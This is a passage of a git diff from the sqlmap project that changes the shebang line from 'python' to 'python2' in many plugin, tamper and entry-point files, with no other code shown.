(c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index 6b6353ecc3b..8be42e66a4b 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/h2/syntax.py b/plugins/dbms/h2/syntax.py index b98351c593d..73c9d52c060 100644 --- a/plugins/dbms/h2/syntax.py +++ b/plugins/dbms/h2/syntax.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py index cb0f53cb271..ca145017660 100644 --- a/plugins/dbms/h2/takeover.py +++ b/plugins/dbms/h2/takeover.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py index c6f9c28f1dc..baf6735f4fd 100644 --- a/plugins/dbms/hsqldb/__init__.py +++ b/plugins/dbms/hsqldb/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py index 6ac4c160918..f9a19f5c13a 100644 --- a/plugins/dbms/hsqldb/connector.py +++ b/plugins/dbms/hsqldb/connector.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index 9616d5cf65e..d3ef310b6eb 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index a8bdfa2a071..f7ff1d571e5 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index 4b1245b40b0..2939460d2a3 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py index b98351c593d..73c9d52c060 100644 --- a/plugins/dbms/hsqldb/syntax.py +++ b/plugins/dbms/hsqldb/syntax.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py index c3b09e34023..eb8a4108591 100644 --- a/plugins/dbms/hsqldb/takeover.py +++ b/plugins/dbms/hsqldb/takeover.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/informix/__init__.py b/plugins/dbms/informix/__init__.py index 79a14664b86..f8cb6511d31 100644 --- a/plugins/dbms/informix/__init__.py +++ b/plugins/dbms/informix/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py index 7faeee24616..b9539a2d47d 100644 --- a/plugins/dbms/informix/connector.py +++ b/plugins/dbms/informix/connector.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py index 985963fd924..197d60958ce 100644 --- a/plugins/dbms/informix/enumeration.py +++ b/plugins/dbms/informix/enumeration.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/informix/filesystem.py b/plugins/dbms/informix/filesystem.py index 4f0d86be78e..deb2cf33a10 100644 --- a/plugins/dbms/informix/filesystem.py +++ b/plugins/dbms/informix/filesystem.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py index a582a93d6a7..db96512c121 100644 --- a/plugins/dbms/informix/fingerprint.py +++ b/plugins/dbms/informix/fingerprint.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/informix/syntax.py b/plugins/dbms/informix/syntax.py index 2bd9c9e338c..58cf2019447 100644 --- a/plugins/dbms/informix/syntax.py +++ b/plugins/dbms/informix/syntax.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/informix/takeover.py b/plugins/dbms/informix/takeover.py index ca204b03495..ea1682c1f59 100644 --- a/plugins/dbms/informix/takeover.py +++ b/plugins/dbms/informix/takeover.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py index 77e9c5a2556..4fe75557bd4 100644 --- a/plugins/dbms/maxdb/__init__.py +++ b/plugins/dbms/maxdb/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py index dd8f76a3a66..3a1dde14de9 100644 --- a/plugins/dbms/maxdb/connector.py +++ b/plugins/dbms/maxdb/connector.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index bdfa96f5fd8..cd0980370fc 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index 45fb2040c47..3b66df52b04 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 4875a6e8bea..bbf4186ade7 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py index c950f106474..71ffce4cd39 100644 --- a/plugins/dbms/maxdb/syntax.py +++ b/plugins/dbms/maxdb/syntax.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py index d3f2172e3bd..402766ff6ad 100644 --- a/plugins/dbms/maxdb/takeover.py +++ b/plugins/dbms/maxdb/takeover.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py index acff62b9903..e1db71a8ce1 100644 --- a/plugins/dbms/mssqlserver/__init__.py +++ b/plugins/dbms/mssqlserver/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index 4a5dd8f8a12..ff2702e5bb9 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 5deb83d91d5..72492d09005 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 105c49d2878..7207fa6f867 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 065e3bd25ec..e67834e2b9c 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index e93427e6330..949d95e9e3f 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index 0377c4d376d..a7795b5238c 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py index 2d267553831..c2c5d77f52e 100644 --- a/plugins/dbms/mysql/__init__.py +++ b/plugins/dbms/mysql/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index b40f7665f70..7f1b32abc99 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py index c375e891ef2..0f0f50657bf 100644 --- a/plugins/dbms/mysql/enumeration.py +++ b/plugins/dbms/mysql/enumeration.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 07950d91cb8..a21a10d9956 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 123a401bed2..56a8e269b39 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index b2ad286a96d..560e092ae37 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index a66d1231322..e0b9a10ac5b 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py index fd2c5f5afb8..e3c9bf2ddba 100644 --- a/plugins/dbms/oracle/__init__.py +++ b/plugins/dbms/oracle/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 03728a5da76..07a276abcc9 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index 98154351619..24c0bdf54b6 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index b4c8a176973..96eb43fac3d 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 29d35296a41..0f6793d7738 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index df00405104d..c64e404441a 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py index c716307cd90..47137f3ff68 100644 --- a/plugins/dbms/oracle/takeover.py +++ b/plugins/dbms/oracle/takeover.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py index a2153057482..e2d410870f1 100644 --- a/plugins/dbms/postgresql/__init__.py +++ b/plugins/dbms/postgresql/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index 2b8f4a01ed1..c220e255037 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index c089fcba0f0..41e82b5c7d2 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index d97b68db081..bed8233b8ad 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index e7deefb17a5..b6be3230ead 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py index c83d3b4fc43..e6e312d85c7 100644 --- a/plugins/dbms/postgresql/syntax.py +++ b/plugins/dbms/postgresql/syntax.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 3af69331a26..e7682419afe 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py index adb10a1b908..c2628e7c677 100644 --- a/plugins/dbms/sqlite/__init__.py +++ b/plugins/dbms/sqlite/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index 82c0f3d5aa7..a1832146e15 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index 1af810a884d..2eeb04ec71d 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index 190a7be8d9d..f32c9e10acd 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index 9fc3dcc3ec3..af44f5a129f 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index ec6470aadf3..5d261647250 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py index 8ec1c8466ea..ba9aa942de3 100644 --- a/plugins/dbms/sqlite/takeover.py +++ b/plugins/dbms/sqlite/takeover.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py index 20d74b76516..2abe5bb6a92 100644 --- a/plugins/dbms/sybase/__init__.py +++ b/plugins/dbms/sybase/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index 5007d2c9246..2205c060865 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index 6010bd4c284..c187cf9063f 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index 51fc0884257..e603ee530ce 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index c88b22d045d..5e238a240d2 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index 9b8f1e7fdd4..230c6718939 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py index ab518e6c947..210f3c2d526 100644 --- a/plugins/dbms/sybase/takeover.py +++ b/plugins/dbms/sybase/takeover.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/plugins/generic/__init__.py +++ b/plugins/generic/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py index 55568dd6af9..77271ea9d10 100644 --- a/plugins/generic/connector.py +++ b/plugins/generic/connector.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index ebae7ab3e92..3faa59638ed 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 34551a033a8..5412f1b0bc0 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index de51d97f319..4094fa47e02 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index c8b40728e41..7fa99772fcb 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 74010921194..b77a1f55e11 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index b593e629c1c..63aa14da5e2 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 51c0fff0e86..97cf5518dcf 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/generic/search.py b/plugins/generic/search.py index b21957bb028..ffd231ebde1 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index 9ef65a54b17..f0c86d3a1ed 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 3f2092f931b..05ab11dedef 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 7779a083b78..7909fd9dbdb 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/sqlmap.py b/sqlmap.py index 22821ed84c0..fd654b010ea 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/sqlmapapi.py b/sqlmapapi.py index 6804f7cf652..b4b46b467cb 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/0x2char.py b/tamper/0x2char.py index 26bb4fda017..562c910e6b5 100644 --- a/tamper/0x2char.py +++ b/tamper/0x2char.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/__init__.py 